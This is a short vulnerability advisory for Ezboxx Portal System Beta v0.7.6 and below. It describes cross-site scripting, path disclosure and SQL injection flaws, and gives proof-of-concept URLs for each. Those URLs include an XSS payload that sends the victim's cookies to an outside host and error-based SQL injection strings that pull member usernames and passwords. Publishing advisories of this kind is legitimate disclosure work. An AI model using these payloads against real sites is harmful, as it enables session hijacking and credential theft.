Ezboxx multiple vulnerabilities.

Vulnerable version:
Ezboxx Portal System Beta v 0.7.6 and below.
The Ezboxx Portal System Beta v 0.7.6 and below versions are vulnerable to Cross-site scripting, Path disclosure and SQL Injection attacks.

Cross-site scripting:
----------------------
Description:
Input passed to the parameters "pic" (in "piczoom.asp"), "nocatname" (in "user-upload.asp") and "iid" (in "newscomments.asp")
are not properly verified before being returned to the user as HTML code. 
Therefore an attacker may use one of the Cross-site scripting to execute arbitrary script code in the browser of the site's users.

Proof-of-concept:
http://[Host]/ezboxx/custom/piczoom.asp?pic=[XSS] 
http://[Host]/ezboxx/boxx/user-upload.asp?nocatname=[XSS] - Login required 
http://[Host]//ezboxx/indexes/newscomments.asp?iid=[XSS] 

Examples:
http://[Host]/ezboxx/custom/piczoom.asp?pic=BugSec'+onerror='window.open("http://www.BugSec.com/Index.php?Security_Consulting_Company=Penetration-Testing&Cookie="+document.cookie) 
http://[Host]/ezboxx/boxx/user-upload.asp?nocatname='> 
http://[Host]/ezboxx/indexes/newscomments.asp?iid=200/**/ 


Path disclosure:
------------------
Description:
Path information can be disclosed in error pages by passing invalid input to the parameter "cat" in "knowledgebase.asp".

Proof-of-concept:
http://[Host]/ezboxx/boxx/knowledgebase.asp?iid=549&Cat=notnumber 
http://[Host]/ezboxx/boxx/knowledgebase.asp?iid=1&Cat=notnumber 

Examples:
http://[Host]/ezboxx/boxx/knowledgebase.asp?iid=549&Cat=exam 
http://[Host]/ezboxx/boxx/knowledgebase.asp?Type=1&Cat=exam 


SQL Injection:
-------------------
Description:
Input passed to the "iid" parameter in "ShowAppendix.asp" isn't properly verified before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
An attacker may use this vulnerability to extract any info (like account's passwords) from the database.

Proof-of-concept:
http://[Host]/ezboxx/boxx/ShowAppendix.asp?iid=[SQL] 

Example:
http://[Host]/ezboxx/boxx/ShowAppendix.asp?iid=convert(int,(select+TOP+1+username+from+members)) 
http://[Host]/ezboxx/boxx/ShowAppendix.asp?iid=convert(int,(select+TOP+1+password+from+members))
